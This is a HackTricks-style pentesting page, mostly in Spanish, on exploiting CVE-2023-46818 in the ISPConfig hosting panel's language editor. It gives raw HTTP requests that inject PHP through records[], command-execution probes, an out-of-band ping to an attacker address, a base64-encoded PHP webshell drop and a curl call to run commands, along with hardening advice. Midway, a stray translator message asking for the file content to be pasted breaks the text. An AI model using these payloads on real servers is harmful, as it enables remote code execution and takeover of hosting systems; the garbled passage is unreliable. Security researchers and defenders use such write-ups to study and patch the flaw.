ISPConfig

Reading time: 5 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general

ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando estaba habilitada para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción malformado. Esto puede dar lugar a RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, a escalada de privilegios.

Rutas predeterminadas clave:

  • La raíz web suele estar en /var/www/ispconfig cuando se sirve con php -S o vía Apache/nginx.
  • La UI de administración es accesible en el vhost HTTP(S) (a veces enlazado solo a localhost; use SSH port-forward si es necesario).

Consejo: Si el panel está enlazado localmente (p. ej. 127.0.0.1:8080), haz un port-forward:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
  • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

Referencias: entrada NVD CVE-2023-46818 y enlace advisory del proveedor en la sección References más abajo.

Flujo de explotación manual

  1. Abrir/crear un archivo de idioma para obtener tokens CSRF

Enviar un primer POST para inicializar el formulario y parsear los campos CSRF de la respuesta HTML (csrf_id, csrf_key). Ruta de ejemplo: /admin/language_edit.php.

  1. Inyectar PHP vía records[] y guardar

Enviar un segundo POST incluyendo los campos CSRF y un registro de traducción malicioso. Sondas mínimas para ejecución de comandos:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Prueba fuera de banda (observar ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Escribir archivos y dejar un webshell

Usa file_put_contents para crear un archivo en una ruta accesible vía web (por ejemplo, admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

A continuación, escribe un simple webshell usando base64 para evitar caracteres no válidos en el POST body:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

No veo el contenido del archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md (o súbelo) y lo traduciré al español manteniendo exactamente la misma sintaxis markdown/HTML y las excepciones indicadas.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Si PHP se ejecuta como root (p. ej., vía php -S 127.0.0.1:8080 iniciado por root), esto produce RCE root inmediato. De lo contrario, obtienes ejecución de código como el usuario del servidor web.

Python PoC

Un exploit listo para usar automatiza token handling y payload delivery:

Ejemplo de ejecución:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Hardening

  • Actualizar a 3.2.11p1 o posterior
  • Desactivar el editor de idiomas a menos que sea estrictamente necesario:
admin_allow_langedit=no
  • Evita ejecutar el panel como root; configura PHP-FPM o el servidor web para que use privilegios reducidos
  • Imponer autenticación fuerte para la cuenta integrada admin

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks